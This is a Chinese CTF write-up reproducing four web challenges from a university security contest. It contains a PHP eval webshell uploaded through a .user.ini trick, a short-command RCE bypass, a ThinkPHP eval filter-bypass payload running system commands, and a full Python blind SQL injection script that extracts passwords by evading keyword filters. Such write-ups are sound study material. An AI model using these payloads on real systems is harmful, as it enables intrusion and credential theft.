武功山杯·第一届湘赣边大学生网络安全竞赛

武功山杯·第一届湘赣边大学生网络安全竞赛部分赛题复现

也是第一次比较正式的参加CTF高校赛,以此记录一下

web4 龙池古庙

此题是一道.user.ini的上传利用题

上传一个.png格式图片并抓包,发包到repeat,图片内容为

<?php @eval($_POST['a']); ?> <?php phpinfo(); ?>

文件名改为.user.ini

内容写入auto_prepend_file=.user.ini

发包,上传成功

得到路径/app/upload/2cd71252e0ea7e65ccb16853a4cdc40f/.user.ini

访问/upload/2cd71252e0ea7e65ccb16853a4cdc40f/index.php执行命令

蚁剑连接拿flag


web6 真君擒龙

1
2
3
4
5
6
7
8
<?php
show_source(__FILE__);
$cmd=$_GET['cmd'];
if(isset($cmd)&&strlen($cmd)<6&&!strpos(strtolower($cmd), 'nl')){
system($cmd);
}else{
die("no!no!no!");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
从URL的GET请求中获取名为cmd的参数,并将其赋值给变量$cmd。

if(isset($cmd)&&strlen($cmd)<6&&!strpos(strtolower($cmd), 'nl')){:
这是一个条件语句,检查三个条件:
isset($cmd):检查$cmd是否已设置。
strlen($cmd)<6:检查$cmd的长度是否小于6个字符。
!strpos(strtolower($cmd), 'nl'):检查$cmd转换为小写后是否不包含字符串'nl'。strpos返回字符串在另一字符串中的位置,如果找不到则返回false,加上!表示不包含。

system($cmd);:
如果上述条件都满足,使用system函数执行由$cmd指定的系统命令。

如果条件不满足,则执行以下代码。
die("no!no!no!");

此处我们用od代替nl读取文件

1
od%20/*

读取出一堆数字

对于od读取的内容可以使用python复原

1
print(b''.join(int(ss, 8).to_bytes(2, 'little') for ss in s.split()))

把中间不需要的代码去除即可

非预期:

赛后发现 nl /*也是可以的

我们试着对strpos()函数进行分析

strpos() 函数查找字符串在另一字符串中第一次出现的位置。

也就是说!strpos(strtolower($cmd), 'nl')的值就是1,也就是这个过滤其实没有用?

有点腻甜了


web7 萍水相逢

打开就一张图片,查看源代码发现www. zip

访问/www. zip下载文件

解压查看发现是thinkphp

查看文件发现只实现了控制器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if(isset($_GET['code'])){
$code = $_GET['code'];
if(preg_match_all('/([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(/i', $code, $matches1)) {
foreach ($matches1[1] as $value) {
if (function_exists($value) && ! in_array($value, $white_fun)) {
echo '加把劲~';
exit;
}
}
}
if(preg_match('/(new)|(dump)|(content)|(f)|(php)|(base)|(eval)|(assert)|(system)|(exec)|(passthru)|(code)|(chr)|(ord)|(include)|(require)|(request)|(import)|(post)|(get)|(cookie)|(sess)|(server)|(copy)|(hex)|(bin)|( )|(\")|(\/)|(\>)|(\<)|(~)|(\{)|(\})|(\.)|(,)|(`)|(\$)|(_)|(\^)|(!)|(%)|(\+)|(\|)|(dl)|(open)|(mail)|(env)|(ini)|(link)|(url)|(http)|(html)|(conv)|(add)|(str)|(parse)/i', $code)) {
echo '收手吧阿祖';
exit;
}else{
//var_dump($code);
eval($code);
}
}else{
return '就挺秃然的。';
}
}

分析一下可利用的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if(isset($_GET['code'])){
检查code参数是否存在

if(preg_match_all('/([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(/i', $code, $matches1)) {
foreach ($matches1[1] as $value) {
if (function_exists($value) && ! in_array($value, $white_fun)) {
echo '加把劲~';
exit;
}
}
}
使用正则表达式匹配代码中的函数名,并将匹配结果存储在$matches1数组中。
遍历匹配到的函数名($matches1[1]),检查每个函数是否存在且不在白名单($white_fun)中。
如果发现存在且不在白名单中的函数,则输出提示信息'加把劲~'并退出脚本。

if(preg_match('/(new)|(dump)|(content)|(f)|(php)|(base)|(eval)|(assert)|(system)|(exec)|(passthru)|(code)|(chr)|(ord)|(include)|(require)|(request)|(import)|(post)|(get)|(cookie)|(sess)|(server)|(copy)|(hex)|(bin)|( )|(\")|(\/)|(\>)|(\<)|(~)|(\{)|(\})|(\.)|(,)|(`)|(\$)|(_)|(\^)|(!)|(%)|(\+)|(\|)|(dl)|(open)|(mail)|(env)|(ini)|(link)|(url)|(http)|(html)|(conv)|(add)|(str)|(parse)/i', $code)) {
echo '收手吧阿祖';
exit;
}
使用正则表达式匹配$code中是否包含一系列危险字符或关键字。
如果匹配到危险字符或关键字,则输出提示信息'收手吧阿祖'并退出脚本。

else{
//var_dump($code);
eval($code);
}
如果通过上述所有检查,则使用eval函数执行传入的代码($code)。
eval函数会将字符串参数作为PHP代码执行。

poc:/public/?code=((%27input%27)(%27name%27)((%27input%27)(%27name1%27)));&na``me=system&name1=ls /

getflag/public/?code=('input'('sys'))('input'('cmd'));&sys=system&cmd=/readflag


web8 禅蕴杨岐

打开赛题啥也没有,查看源代码也是

直接扫目录

扫到一个/.index.php.swp目录

访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
function contain($str, $a){
$strpos_res = strpos($str, $a);
if ($strpos_res){
return true;
}
return false;
}

function lvlarrep($str, $v1){
$s = str_ireplace($v1, '', $str);
if (contain($s, $v1)){
$s = lvlarrep($s, $v1);
}
return $s;
}

function waf($str){
$ban_str = explode(',','select,ascii,sub,con,alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');
foreach($ban_str as $v1){
if (contain($str, $v1)){
$s = lvlarrep($str, $v1);
$str = $s;
}
}
$str = str_replace('\'', ''', $str); // 万恶的单引号,必须转义?
return $str;
}

if (isset($_POST['login'])){
$db_host = '127.0.0.1';
$db_user = 'root';
$db_pass = 'toor';
$db_name = 'ctf';

$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);
if (!$conn) {
die('数据库连接失败!' . mysqli_connect_error());
}

$username = waf($_POST['username']);
$password = waf($_POST['password']);
$sql = "SELECT * FROM user WHERE `username` = '$username' AND `password` = '$password';";

$query_result = mysqli_query($conn, $sql);
if (mysqli_num_rows($query_result) > 0) {
die('登陆成功!');
}else{
die('哦欧!');
}
}
?>

通过转义符来对 username 字段后面的引号做转义,逃逸出后面的部分,然后通过双写绕过

关键字检测。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# coding: utf-8
import requests

url = 'http://xxxx'

sess = requests.session()
payload = 'or if(((selunionect asunioncii(suunionbstring(group_counionncat(password),FUZ2Z,1))from user)=FUZZ), 1, 0) # '
post_data = {
'username': 'admin\\',
'password': '',
'login': '1'
}
for l in range(1, 50):
for i in range(33, 128):
post_data['password'] = payload.replace('FUZZ', str(i)).replace('FUZ2Z', str(l))
resp = sess.post(url, data=post_data)
if '登陆成功' in resp.text:
print(chr(i), end='')
break
else:
print('done')
exit()


武功山杯·第一届湘赣边大学生网络安全竞赛
http://example.com/2024/07/26/第一届湘赣边大学生网络安全竞赛部分赛题复现/
作者
piiick
发布于
2024年7月26日
许可协议